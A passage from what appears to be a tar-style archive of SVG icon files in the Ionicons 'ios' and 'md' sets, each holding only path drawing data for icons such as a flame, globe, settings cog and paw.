13.4 5.9 13.4h39.9c2.5 0 4.8-1.1 6.3-3.1 7.4-9.6 28.5-41.6 28.5-93.9v-192c0-17.8-13.3-31.1-31-31.1z"/></svg>collection/icon/svg/ios-flame.svg000064400000000527151701353760013037 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M220.1 48C249.1 182.6 111 179.9 112 315.4c.8 111 118.4 148.6 144.5 148.6 26.1 0 134.8-23.6 143.1-148.6 7.1-106.4-81.7-208-179.5-267.4zm74.3 354.7c-10.2 38.9-66 39-76.4.1-1.5-5.6-2.4-11.5-2.4-17.5 0-41 40.6-88.3 40.6-88.3s40.4 47.3 40.4 88.3c.1 6-.7 11.8-2.2 17.4z"/></svg>collection/icon/svg/md-pricetag.svg000064400000000532151701353760013353 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M416 64H257.6L76.5 251.6c-8 8-12.3 18.5-12.5 29-.3 11.3 3.9 22.6 12.5 31.2l123.7 123.6c8 8 20.8 12.5 28.8 12.5s22.8-3.9 31.4-12.5L448 256V96l-32-32zm-30.7 102.7c-21.7 6.1-41.3-10-41.3-30.7 0-17.7 14.3-32 32-32 20.7 0 36.8 19.6 30.7 41.3-2.9 10.3-11.1 18.5-21.4 21.4z"/></svg>collection/icon/svg/logo-designernews.svg000064400000000556151701353760014620 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M290.4 145L227 96l63.6 102.2z"/><path d="M329 96v163h-36.4l-63.2-98.6 1.7 98.6H191V152l-37.3-29.3c1 1.2 2 2.4 2.9 3.7 10 13.9 15 30.5 15 50.5 0 49.2-30.6 82.1-76.9 82.1H32v.4L231.6 416H480V214.1L329 96z"/><path d="M129.9 178.1c0-29-14.2-45.1-39.7-45.1H71v89h19c26 0 39.9-15.4 39.9-43.9z"/></svg>collection/icon/svg/ios-cloud-download.svg000064400000001064151701353760014663 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M437.1 165.8C429 90.6 365.4 32 288 32c-51.2 0-96.3 25.6-123.4 64.7-8.3-3.4-17.4-5.3-26.9-5.3-39.1 0-70.8 34.4-71.4 73.4C26.4 177.5 0 216.5 0 257.5 0 307.7 40.7 352 90.9 352H243V211c0-7.2 5.8-13 13-13s13 5.8 13 13v141h152.1c50.2 0 90.9-44.3 90.9-94.5 0-44.7-32.3-84.1-74.9-91.7zM243 435.9l-47.9-47.2c-5.1-5-13.3-5-18.4.1-5 5.1-5 13.3.1 18.4l70 69c2.5 2.4 5.8 3.7 9.1 3.7 1.7 0 3.4-.3 5-1 1.5-.6 2.9-1.6 4.1-2.7l70-69c5.1-5 5.2-13.3.1-18.4-5-5.1-13.3-5.2-18.4-.1L269 435.9V352h-26v83.9z"/></svg>collection/icon/svg/ios-arrow-round-down.svg000064400000000514151701353760015173 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M348.3 295.6c-5-5.1-13.3-5.1-18.4-.1L269 356.2V124.9c0-7.1-5.8-12.9-13-12.9s-13 5.8-13 12.9v231.3l-60.9-60.8c-5.1-5-13.3-4.9-18.4.1-5 5.1-5 13.2.1 18.3l83 82.4c1.2 1.1 2.5 2 4.1 2.7 1.6.7 3.3 1 5 1 3.4 0 6.6-1.3 9.1-3.7l83-82.4c5.2-4.9 5.3-13.1.3-18.2z"/></svg>collection/icon/svg/ios-football.svg000064400000002464151701353760013557 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 48C141.1 48 48 141.1 48 256c0 114.7 93.3 208 208 208 114.9 0 208-93.1 208-208 0-114.7-93.3-208-208-208zm127.3 80.7c8.5 8.5 16.1 17.7 22.6 27.5.7 1 .9 2.4.4 3.5L391.9 201c-.4 1-1.1 1.9-2.1 2.3l-57.5 26.2c-1.4.6-3 .4-4.2-.6l-56.6-47.6a4.1 4.1 0 0 1-1.4-3.1v-63.1c0-1.3.7-2.6 1.8-3.3l38.4-26.1c1-.7 2.3-.9 3.5-.5 25.8 8.9 49.6 23.6 69.5 43.5zm-73.9 297.6c-.4 1.2-1.4 2.1-2.6 2.4-16.3 4.8-33.4 7.2-50.8 7.2-17.5 0-34.5-2.5-50.8-7.2-1.2-.4-2.2-1.3-2.6-2.4l-16.4-43c-.4-1.1-.3-2.3.2-3.3l22.3-42.3c.7-1.3 2.1-2.1 3.5-2.1h87.5c1.5 0 2.8.8 3.5 2.1l22.3 42.3c.5 1 .6 2.2.2 3.3l-16.3 43zm-67.4-311v63.1c0 1.2-.5 2.3-1.4 3.1L183.9 229c-1.2 1-2.8 1.2-4.2.6l-57.5-26.2c-1-.5-1.8-1.3-2.1-2.3l-14.4-41.2c-.4-1.2-.3-2.5.4-3.5 6.5-9.8 14.1-19 22.6-27.5 19.9-19.9 43.7-34.6 69.6-43.3 1.2-.4 2.5-.2 3.5.5l38.4 26.1c1.1.5 1.8 1.7 1.8 3.1zM77.7 264.1l36.1-31.2c1.2-1 2.9-1.3 4.3-.6l52.4 23.8c1.1.5 1.9 1.5 2.2 2.7l14.6 57.3c.2 1 .1 2-.3 2.9l-23.2 43.9c-.7 1.3-2.1 2.2-3.6 2.1l-46-.6c-1.2 0-2.4-.6-3.2-1.6-20.5-27.7-32.5-60.6-34.7-95.4 0-1.3.5-2.5 1.4-3.3zm270.4 98.7L325 319c-.5-.9-.6-1.9-.3-2.9l14.6-57.3c.3-1.2 1.1-2.2 2.2-2.7l52.4-23.8c1.4-.6 3.1-.4 4.3.6l36.1 31.2c.9.8 1.5 2 1.4 3.3-2.1 34.8-14.2 67.6-34.7 95.4-.7 1-1.9 1.6-3.2 1.6l-46.1.6c-1.5-.1-2.9-.9-3.6-2.2z"/></svg>collection/icon/svg/md-film.svg000064400000000544151701353760012507 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M376 64v42.667h-40V64H176v42.667h-40V64H96v384h40v-42.666h40V448h160v-42.666h40V448h40V64h-40zM176 362.667h-40V320h40v42.667zm0-85.333h-40v-42.667h40v42.667zM176 192h-40v-42.666h40V192zm200 170.667h-40V320h40v42.667zm0-85.333h-40v-42.667h40v42.667zM376 192h-40v-42.666h40V192z"/></svg>collection/icon/svg/md-leaf.svg000064400000000313151701353760012461 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M416 287.6C416 120.9 256 32 256 32S96 120.9 96 287.6c0 118.8 81.3 140.5 128 143.2V480h64v-49.3c46.7-2.6 128-24.3 128-143.1z"/></svg>collection/icon/svg/md-remove-circle-outline.svg000064400000000615151701353760015770 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 90c44.3 0 86 17.3 117.4 48.6C404.7 170 422 211.7 422 256s-17.3 86-48.6 117.4C342 404.7 300.3 422 256 422s-86-17.3-117.4-48.6C107.3 342 90 300.3 90 256s17.3-86 48.6-117.4C170 107.3 211.7 90 256 90m0-42C141.1 48 48 141.1 48 256s93.1 208 208 208 208-93.1 208-208S370.9 48 256 48z"/><path d="M363 277H149v-42h214v42z"/></svg>collection/icon/svg/ios-link.svg000064400000003027151701353760012706 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M280 341.1l-1.2.1c-3.6.4-7 2-9.6 4.5l-64.6 64.6c-13.7 13.7-32 21.2-51.5 21.2s-37.8-7.5-51.5-21.2c-13.7-13.7-21.2-32-21.2-51.5s7.5-37.8 21.2-51.5l68.6-68.6c3.5-3.5 7.3-6.6 11.4-9.3 4.6-3 9.6-5.6 14.8-7.5 4.8-1.8 9.9-3 15-3.7 3.4-.5 6.9-.7 10.2-.7 1.4 0 2.8.1 4.6.2 17.7 1.1 34.4 8.6 46.8 21 7.7 7.7 13.6 17.1 17.1 27.3 2.8 8 11.2 12.5 19.3 10.1.1 0 .2-.1.3-.1.1 0 .2 0 .2-.1 8.1-2.5 12.8-11 10.5-19.1-4.4-15.6-12.2-28.7-24.6-41-15.6-15.6-35.9-25.8-57.6-29.3-1.9-.3-3.8-.6-5.7-.8-3.7-.4-7.4-.6-11.1-.6-2.6 0-5.2.1-7.7.3-5.4.4-10.8 1.2-16.2 2.5-1.1.2-2.1.5-3.2.8-6.7 1.8-13.3 4.2-19.5 7.3-10.3 5.1-19.6 11.7-27.7 19.9l-68.6 68.6C58.9 304.4 48 330.8 48 359c0 28.2 10.9 54.6 30.7 74.4C98.5 453.1 124.9 464 153 464c28.2 0 54.6-10.9 74.4-30.7l65.3-65.3c10.4-10.5 2-28.3-12.7-26.9z"/><path d="M433.3 78.7C413.5 58.9 387.1 48 359 48s-54.6 10.9-74.4 30.7l-63.7 63.7c-9.7 9.7-3.6 26.3 10.1 27.4 4.7.4 9.3-1.3 12.7-4.6l63.8-63.6c13.7-13.7 32-21.2 51.5-21.2s37.8 7.5 51.5 21.2c13.7 13.7 21.2 32 21.2 51.5s-7.5 37.8-21.2 51.5l-68.6 68.6c-3.5 3.5-7.3 6.6-11.4 9.3-4.6 3-9.6 5.6-14.8 7.5-4.8 1.8-9.9 3-15 3.7-3.4.5-6.9.7-10.2.7-1.4 0-2.9-.1-4.6-.2-17.7-1.1-34.4-8.6-46.8-21-7.3-7.3-12.8-16-16.4-25.5-2.9-7.7-11.1-11.9-19.1-9.8-8.9 2.3-14.1 11.7-11.3 20.5 4.5 14 12.1 25.9 23.7 37.5l.2.2c16.9 16.9 39.4 27.6 63.3 30.1 3.7.4 7.4.6 11.1.6 2.6 0 5.2-.1 7.8-.3 6.5-.5 13-1.6 19.3-3.2 6.7-1.8 13.3-4.2 19.5-7.3 10.3-5.1 19.6-11.7 27.7-19.9l68.6-68.6c19.8-19.8 30.7-46.2 30.7-74.4s-11.1-54.6-30.9-74.4z"/></svg>collection/icon/svg/md-beaker.svg000064400000000662151701353760013012 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M448.1 34.9c0-1.2-.4-2.9-2.9-2.9H128.5c-54.3 0-64.4 27.4-64.4 39.8C94.4 76 96 76.5 96 108.5v307c0 35.3 28.9 64.5 64.3 64.5H368c35.3 0 64-29.2 64-64.5V73.3c2.2-17.5 12-31.8 13.1-33.5 1.2-1.9 3-3.8 3-4.9zM354.2 432H176.3c-15.9 0-29.7-11.9-32.3-27.1V80h240v319.7c0 18-12.4 32.3-29.8 32.3z"/><path d="M182 160v226c0 4.4 3.6 8 8 8h148c4.4 0 8-3.6 8-8V160H182z"/></svg>collection/icon/svg/md-globe.svg000064400000003722151701353760012651 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 48C141.124 48 48 141.125 48 256s93.124 208 208 208c114.875 0 208-93.125 208-208S370.875 48 256 48zm-21.549 384.999c-39.464-4.726-75.978-22.392-104.519-50.932C96.258 348.393 77.714 303.622 77.714 256c0-42.87 15.036-83.424 42.601-115.659.71 8.517 2.463 17.648 2.014 24.175-1.64 23.795-3.988 38.687 9.94 58.762 5.426 7.819 6.759 19.028 9.4 28.078 2.583 8.854 12.902 13.498 20.019 18.953 14.359 11.009 28.096 23.805 43.322 33.494 10.049 6.395 16.326 9.576 13.383 21.839-2.367 9.862-3.028 15.937-8.13 24.723-1.557 2.681 5.877 19.918 8.351 22.392 7.498 7.497 14.938 14.375 23.111 21.125 12.671 10.469-1.231 24.072-7.274 39.117zm147.616-50.932c-25.633 25.633-57.699 42.486-92.556 49.081 4.94-12.216 13.736-23.07 21.895-29.362 7.097-5.476 15.986-16.009 19.693-24.352 3.704-8.332 8.611-15.555 13.577-23.217 7.065-10.899-17.419-27.336-25.353-30.781-17.854-7.751-31.294-18.21-47.161-29.375-11.305-7.954-34.257 4.154-47.02-1.417-17.481-7.633-31.883-20.896-47.078-32.339-15.68-11.809-14.922-25.576-14.922-42.997 12.282.453 29.754-3.399 37.908 6.478 2.573 3.117 11.42 17.042 17.342 12.094 4.838-4.043-3.585-20.249-5.212-24.059-5.005-11.715 11.404-16.284 19.803-24.228 10.96-10.364 34.47-26.618 32.612-34.047s-23.524-28.477-36.249-25.193c-1.907.492-18.697 18.097-21.941 20.859.086-5.746.172-11.491.26-17.237.055-3.628-6.768-7.352-6.451-9.692.8-5.914 17.262-16.647 21.357-21.357-2.869-1.793-12.659-10.202-15.622-8.968-7.174 2.99-15.276 5.05-22.45 8.039 0-2.488-.302-4.825-.662-7.133a176.585 176.585 0 0 1 45.31-13.152l14.084 5.66 9.944 11.801 9.924 10.233 8.675 2.795 13.779-12.995L282 87.929V79.59c27.25 3.958 52.984 14.124 75.522 29.8-4.032.361-8.463.954-13.462 1.59-2.065-1.22-4.714-1.774-6.965-2.623 6.531 14.042 13.343 27.89 20.264 41.746 7.393 14.801 23.793 30.677 26.673 46.301 3.394 18.416 1.039 35.144 2.896 56.811 1.788 20.865 23.524 44.572 23.524 44.572s10.037 3.419 18.384 2.228c-7.781 30.783-23.733 59.014-46.769 82.052z"/></svg>collection/icon/svg/md-settings.svg000064400000002171151701353760013416 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M413.967 276.8c1.06-6.235 1.06-13.518 1.06-20.8s-1.06-13.518-1.06-20.8l44.667-34.318c4.26-3.118 5.319-8.317 2.13-13.518L418.215 115.6c-2.129-4.164-8.507-6.235-12.767-4.164l-53.186 20.801c-10.638-8.318-23.394-15.601-36.16-20.801l-7.448-55.117c-1.06-4.154-5.319-8.318-10.638-8.318h-85.098c-5.318 0-9.577 4.164-10.637 8.318l-8.508 55.117c-12.767 5.2-24.464 12.482-36.171 20.801l-53.186-20.801c-5.319-2.071-10.638 0-12.767 4.164L49.1 187.365c-2.119 4.153-1.061 10.399 2.129 13.518L96.97 235.2c0 7.282-1.06 13.518-1.06 20.8s1.06 13.518 1.06 20.8l-44.668 34.318c-4.26 3.118-5.318 8.317-2.13 13.518L92.721 396.4c2.13 4.164 8.508 6.235 12.767 4.164l53.187-20.801c10.637 8.318 23.394 15.601 36.16 20.801l8.508 55.117c1.069 5.2 5.318 8.318 10.637 8.318h85.098c5.319 0 9.578-4.164 10.638-8.318l8.518-55.117c12.757-5.2 24.464-12.482 36.16-20.801l53.187 20.801c5.318 2.071 10.637 0 12.767-4.164l42.549-71.765c2.129-4.153 1.06-10.399-2.13-13.518l-46.8-34.317zm-158.499 52c-41.489 0-74.46-32.235-74.46-72.8s32.971-72.8 74.46-72.8 74.461 32.235 74.461 72.8-32.972 72.8-74.461 72.8z"/></svg>collection/icon/svg/md-contract.svg000064400000000351151701353760013371 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M64 371.2h76.795V448H192V320H64v51.2zm76.795-230.4H64V192h128V64h-51.205v76.8zM320 448h51.2v-76.8H448V320H320v128zm51.2-307.2V64H320v128h128v-51.2h-76.8z"/></svg>collection/icon/svg/md-water.svg000064400000000332151701353760012675 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M380.5 163.3L256 32 131.5 163.3c-68.6 72.4-68.6 190 0 262.4C165.8 461.9 210.9 480 256 480s90.2-18.1 124.5-54.3c68.7-72.4 68.7-190 0-262.4z"/></svg>collection/icon/svg/md-cloud-circle.svg000064400000000615151701353760014124 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 48C141.6 48 48 141.6 48 256s93.6 208 208 208 208-93.6 208-208S370.4 48 256 48zm93.6 291.2H172.801c-34.318 0-62.4-28.082-62.4-62.399 0-34.319 28.082-62.4 62.4-62.4h3.117c9.364-36.4 41.601-62.399 80.083-62.399 45.764 0 83.199 37.435 83.199 83.198h10.4c29.118 0 52 22.882 52 52.001 0 29.117-22.882 51.999-52 51.999z"/></svg>collection/icon/svg/md-download.svg000064400000000242151701353760013362 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M416 199.5h-91.4V64H187.4v135.5H96l160 158.1 160-158.1zM96 402.8V448h320v-45.2H96z"/></svg>collection/icon/svg/ios-ice-cream.svg000064400000003442151701353760013577 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M220.8 406.1l4.8 14.8c.4 1.2 1.9 1.8 3 1.1l6.8-4.2c2.5-1.6 2.5-5.2 0-6.8l-11.5-7.2c-1.7-1-3.6.5-3.1 2.3zM286.6 421l4.9-15.2c.6-1.8-1.4-3.3-3-2.3l-11.9 7.4a4.02 4.02 0 0 0 0 6.8l7 4.4c1.2.7 2.6.1 3-1.1zM188.6 242.2c-3.9 3.5-9.6 6.4-15.7 8.5-1 .4-1.6 1.5-1.2 2.5l9.3 28.9 3.8 11.8c.4 1.2 1.9 1.8 3 1.1l7-4.3 36.6-22.5c3-1.9 2.3-6.5-1.2-7.3-14.3-3.3-26.5-9.8-36.2-18.5-1.6-1.4-3.9-1.5-5.4-.2zM192.6 310.8l-2 1.2 14.6 45.3c.4 1.2 1.9 1.8 3 1.1l27.2-16.9c2.5-1.6 2.5-5.2 0-6.8l-38.5-23.9c-1.4-.8-3-.8-4.3 0zM258.1 348.9c-1.3-.8-2.9-.8-4.2 0L212 374.5l-.1.1c-1 .8-1 2.4 0 3.2l.7.5 41.3 25.3c1.3.8 2.9.8 4.2 0l41.7-25.5.4-.3c1-.8 1-2.2 0-3l-42.1-25.9zM296.7 296.6l-38.5-23.9c-1.3-.8-2.9-.8-4.2 0l-38.5 23.9a4.02 4.02 0 0 0 0 6.8l38.5 23.9c1.3.8 2.9.8 4.2 0l38.5-23.9c2.5-1.5 2.5-5.2 0-6.8zM318.1 242.3c-9.7 8.7-22 15.1-36.2 18.5-3.5.8-4.2 5.4-1.2 7.3l36.6 22.5 7.4 4.6c1.1.7 2.6.2 3-1.1l4-12.4 9.8-30.3c-6.9-2.1-13.6-5.3-18-9.2-1.6-1.3-3.9-1.2-5.4.1zM232.4 442l1.6 5s7.5 19 22 19c15 0 22.2-19 22.2-19l1.6-4.8c.6-1.7-.1-3.7-1.7-4.6l-20-12.4c-1.3-.8-2.9-.8-4.2 0l-19.8 12.3c-1.6.8-2.3 2.7-1.7 4.5zM276.7 341.5l27.5 17.1c1.1.7 2.6.2 3-1.1l14.2-43.8c.3-.9-.1-1.8-.8-2.3l-1-.6c-1.3-.8-2.9-.8-4.2 0l-38.5 23.9c-2.8 1.6-2.8 5.3-.2 6.8z"/><path d="M376.1 168.2c-6.2 5.4-13.2 8.7-18 10.5-1.8.7-3.5-1.4-2.3-3l4-5.7c6.1-8.7 8.5-19.4 6.8-29.8C357.9 86.8 311.7 46 256 46c-55.7 0-101.9 41.2-110.6 94.7-1.7 10.5.8 21.2 6.9 29.8l4 5.6c1.2 1.6-.5 3.8-2.4 3-5.4-2.1-13.5-6.2-20.1-12.8-1.4-1.4-3.6-1.5-5.2-.4-10.2 7.3-16.8 19.1-16.8 32.5 0 22.1 17.9 40 40 40 11.3 0 28-4.7 36.6-12.3 1.5-1.3 3.8-1.3 5.3.1 15.2 13.4 36.6 20.2 62.1 20.2s47-6.8 62.1-20.2c1.5-1.3 3.8-1.4 5.3-.1 8.5 7.6 25.3 12.3 36.6 12.3 22.1 0 40-18 40-40.1 0-11.9-5.2-22.6-13.5-30-2.7-2.6-7.2-2.7-10.2-.1z"/></svg>collection/icon/svg/md-reverse-camera.svg000064400000000673151701353760014464 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M440 96h-88l-32-32H192l-32 32H72c-22.1 0-40 17.9-40 40v272c0 22.1 17.9 40 40 40h368c22.1 0 40-17.9 40-40V136c0-22.1-17.9-40-40-40zm-72 171h-97.7l44.8-45.1c-14.7-15.4-35.7-25.5-58.8-25.5-46.2 0-84 37.8-84 84s37.8 84 84 84c35.5 0 66.2-21.5 78.2-53.5h29.6c-13.4 47-56.2 81.5-107.8 81.5-62.3 0-112-50.4-112-112s50.4-112 112-112c30.8 0 58.7 12.6 79 32.9l32.8-32.9V267z"/></svg>collection/icon/svg/md-paw.svg000064400000002252151701353760012345 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M459.5 165.9c-4.7-10.5-12.7-18.1-23.1-22-4.8-1.7-9.7-2.6-14.8-2.6-21.7 0-43.7 16.7-54.9 41.6-13.8 30.9-5.8 61 18.6 70.3 4.9 1.8 10.1 2.8 15.6 2.8 22.1 0 44.6-15.3 55.9-38.1 8.5-17.5 9.5-36.8 2.7-52zM145.3 182.8c-11.1-24.9-33.2-41.6-54.9-41.6-5.1 0-10.1.9-14.8 2.6-10.4 3.9-18.3 11.5-23.1 22-6.9 15.2-5.9 34.6 2.7 51.9 11.3 22.8 33.8 38.1 55.9 38.1 5.4 0 10.7-.9 15.6-2.8 24.4-9.1 32.4-39.3 18.6-70.2zM193.5 179.4c2 .1 4 0 6-.2 11.7-.9 22.3-5.9 30.6-14.3 13.4-13.6 17.1-34.9 14.3-56.8-4.3-33.7-25.8-59-54.8-60.1 0 0-4.1 0-6.2.2-12.8 1.1-24.4 6.5-33.5 15.9-13.3 13.6-19.7 33.7-17.1 53.8 4.3 33.4 30.9 60.4 60.7 61.5zM256 224c-69.3 0-138.7 97.1-138.7 176.3 0 23.6 11.8 42.6 23.5 50.4 14.4 9.6 24.5 13.4 45.5 13.4 13.4 0 21.6-2.5 28.1-6.1 12.3-6.7 25.9-10.4 39.9-10.4h3.5c14 0 27.6 3.8 39.9 10.4 6.5 3.5 14.7 6.1 28.1 6.1 21.1 0 31.2-3.8 45.5-13.4 11.6-7.8 23.5-26.8 23.5-50.4C394.7 321 325.3 224 256 224zM312.6 179.1c2 .2 4 .2 6 .2 29.8-1.1 56.5-28 60.8-61.5 2.6-20.2-3.8-40.4-17.1-53.8-9.2-9.3-20.3-14.6-33.1-15.6-2.1-.2-6.7-.2-6.7-.2-28.9 1.1-50.4 26.1-54.8 59.9-2.8 21.9.9 43.3 14.3 56.8 8.4 8.3 19 13.2 30.6 14.2z"/></svg>collection/icon/svg/ios-git-branch.svg000064400000001504151701353760013765 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M352 96c-38.6 0-70 31.4-70 70 0 33.4 23.7 61.9 55.9 68.5-1.2 19.1-10.3 29.3-27 42.2-20.4 15.7-46.7 20-65.3 23.4-40.7 7.4-62.9 27-72.5 40V170.8c15-2.8 28.7-10.5 39-21.9 11.6-12.9 18-29.5 18-46.9 0-38.6-31.4-70-70-70s-70 31.4-70 70c0 17 6.2 33.3 17.3 46.1 9.9 11.3 23.1 19.1 37.7 22.3v171.3c-14.5 3.2-27.8 11-37.7 22.3C96.2 376.7 90 393 90 410c0 38.6 31.4 70 70 70s70-31.4 70-70c0-23.4-11.6-44.9-30.7-57.9 8.6-9.7 24.5-19.6 51.1-24.4 21.6-3.9 52.6-9.6 77.4-28.8 23.6-18.2 36.7-36.5 38-64.3 32.3-6.5 56.1-35.1 56.1-68.6.1-38.6-31.3-70-69.9-70zm-234 6c0-23.2 18.8-42 42-42s42 18.8 42 42-18.8 42-42 42-42-18.8-42-42zm84 308c0 23.2-18.8 42-42 42s-42-18.8-42-42 18.8-42 42-42 42 18.8 42 42zm150-202c-23.2 0-42-18.8-42-42s18.8-42 42-42 42 18.8 42 42-18.8 42-42 42z"/></svg>collection/icon/svg/md-musical-note.svg000064400000000320151701353760014150 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 64v225.1c-12.6-7.3-27.1-11.7-42.7-11.7-47.1 0-85.3 38.2-85.3 85.3s38.2 85.3 85.3 85.3 85.3-38.2 85.3-85.3V149.3H384V64H256z"/></svg>collection/icon/svg/md-laptop.svg000064400000000763151701353760013062 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M437.334 416C460.803 416 480 396.803 480 373.334V106.668C480 83.199 460.803 64 437.334 64H74.666C51.197 64 32 83.199 32 106.668v266.666C32 396.803 51.197 416 74.666 416H0c0 23.469 64 32 96 32h320c32 0 96-8.531 96-32h-74.666zM74.666 106.668h362.668v271.998H74.666V106.668zM256 434.666c-11.729 0-21.333-9.604-21.333-21.334 0-11.729 9.604-21.332 21.333-21.332s21.333 9.604 21.333 21.332c0 11.73-9.604 21.334-21.333 21.334z"/></svg>collection/icon/svg/md-log-in.svg000064400000001113151701353760012736 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 48c-42.9 0-84.2 13-119.2 37.5-34.2 24-60.2 57.2-75.1 96.1L58 192h45.7l1.9-5c8.2-17.8 19.4-33.9 33.5-48 31.2-31.2 72.7-48.4 116.9-48.4s85.7 17.2 116.9 48.4c31.2 31.2 48.4 72.7 48.4 116.9 0 44.1-17.2 85.7-48.4 116.9-31.2 31.2-72.7 48.4-116.9 48.4-44.1 0-85.6-17.2-116.9-48.4-14-14-25.3-30.1-33.5-47.9l-1.9-5H58l3.6 10.4c14.9 38.9 40.9 72.1 75.1 96.1C171.8 451.1 213 464 256 464c114.7 0 208-93.3 208-208S370.7 48 256 48z"/><path d="M48 277.4h189.7l-43.6 44.7L224 352l96-96-96-96-31 29.9 44.7 44.7H48v42.8z"/></svg>collection/icon/svg/ios-bed.svg000064400000001252151701353760012501 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M458.2 208h-.4c-12 0-21.8 9.8-21.8 21.8 0 1.2-1 2.2-2.2 2.2H78.2c-1.2 0-2.2-1-2.2-2.2 0-12-9.8-21.8-21.8-21.8h-.4c-12 0-21.8 9.8-21.8 21.8v180.4c0 12 9.8 21.8 21.8 21.8h.4c12 0 21.8-9.8 21.8-21.8V404c0-2.2 1.8-4 4-4h352c2.2 0 4 1.8 4 4v6.2c0 12 9.8 21.8 21.8 21.8h.4c12 0 21.8-9.8 21.8-21.8V229.8c0-12-9.8-21.8-21.8-21.8z"/><path d="M84 214h22.5c2.2 0 4-1.8 4-4v-13c0-8.8 7.2-16 16-16H224c8.8 0 16 7.2 16 16v13c0 2.2 1.8 4 4 4h24c2.2 0 4-1.8 4-4v-13c0-8.8 7.2-16 16-16h97.5c8.8 0 16 7.2 16 16v13c0 2.2 1.8 4 4 4H428c4.4 0 8-3.6 8-8v-94c0-17.6-14.4-32-32-32H108c-17.6 0-32 14.4-32 32v94c0 4.4 3.6 8 8 8z"/></svg>collection/icon/svg/md-checkmark.svg000064400000000227151701353760013506 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M186.301 339.893L96 249.461l-32 30.507L186.301 402 448 140.506 416 110z"/></svg>collection/icon/svg/ios-flash-off.svg000064400000000745151701353760013622 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M382.1 442.7L154.5 55c-4-6.7-12.7-9-19.5-5.1-6.8 3.9-9.1 12.6-5.1 19.3L357.5 457c2.6 4.5 7.4 7 12.3 7 2.4 0 4.9-.6 7.2-1.9 6.7-4 9-12.6 5.1-19.4zM324.6 313.3l57.9-75.8c3.8-5.6.2-13.4-6.3-13.4h-104l52.4 89.2zM320.4 37.1c.9-4.5-4.6-7.1-7.2-3.4L227 146.9l42.4 72.3 51-182.1zM187.4 198.7l-57.9 75.8c-3.8 5.6-.2 13.4 6.3 13.4h103.9l-52.3-89.2zM191.6 474.9c-.9 4.5 4.6 7.1 7.2 3.4L285 365.1l-42.4-72.3-51 182.1z"/></svg>collection/icon/svg/ios-cog.svg000064400000005776151701353760012536 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M456.9 242.2l-26.1-4.2c-3.5-.6-6.1-3.3-6.6-6.8-.5-3.2-1-6.4-1.7-9.5-.7-3.4.9-6.9 3.9-8.6l23.1-12.8c3.6-1.8 5.3-6.1 3.9-9.9l-4-11c-1.4-3.8-5.4-6-9.4-5l-25.9 5c-3.4.7-6.9-1-8.6-4.1-1.5-2.8-3.1-5.6-4.8-8.4-1.8-3-1.6-6.8.7-9.5l17.3-19.9c2.8-3 2.9-7.5.3-10.6l-7.5-9c-2.6-3.1-7.1-3.8-10.5-1.5L378.3 130c-3 1.8-6.8 1.4-9.4-.9-2.4-2.1-4.9-4.2-7.4-6.2-2.7-2.2-3.8-5.9-2.5-9.1l9.4-24.7c1.6-3.7.2-8.1-3.3-10.1l-10.2-5.9c-3.5-2-8-1.1-10.4 2.2l-16.6 20.8c-2 2.5-4.9 3.8-8.5 2.5 0 0-5.6-2.3-9.8-3.7-3.3-1.1-5.6-4.2-5.5-7.7l.4-26.4c.2-4.1-2.6-7.7-6.6-8.4l-11.6-2c-4-.7-7.9 1.7-9.1 5.6l-8.6 25c-1.1 3.3-4.3 5.5-7.8 5.4-1.6 0-3.3-.1-4.9-.1s-3.3 0-4.9.1c-3.5.1-6.6-2.1-7.8-5.4l-8.6-25c-1.2-3.9-5.1-6.3-9.1-5.6l-11.6 2c-4 .7-6.8 4.3-6.6 8.4l.4 26.4c.1 3.5-2.1 6.4-5.5 7.7-2.3.9-7.3 2.8-9.7 3.7-2.8 1-6.1.2-8.8-2.9l-16.5-20.3c-2.4-3.3-6.9-4.2-10.4-2.2l-10.2 5.9c-3.5 2-5 6.4-3.3 10.1l9.4 24.7c1.2 3.3.2 7-2.5 9.1-2.5 2-5 4.1-7.4 6.2-2.6 2.3-6.4 2.7-9.4.9L111 116.3c-3.4-2.2-7.9-1.6-10.5 1.5l-7.5 9c-2.6 3.1-2.5 7.7.3 10.6l17.3 19.9c2.3 2.6 2.6 6.5.7 9.5-1.7 2.7-3.3 5.5-4.8 8.4-1.7 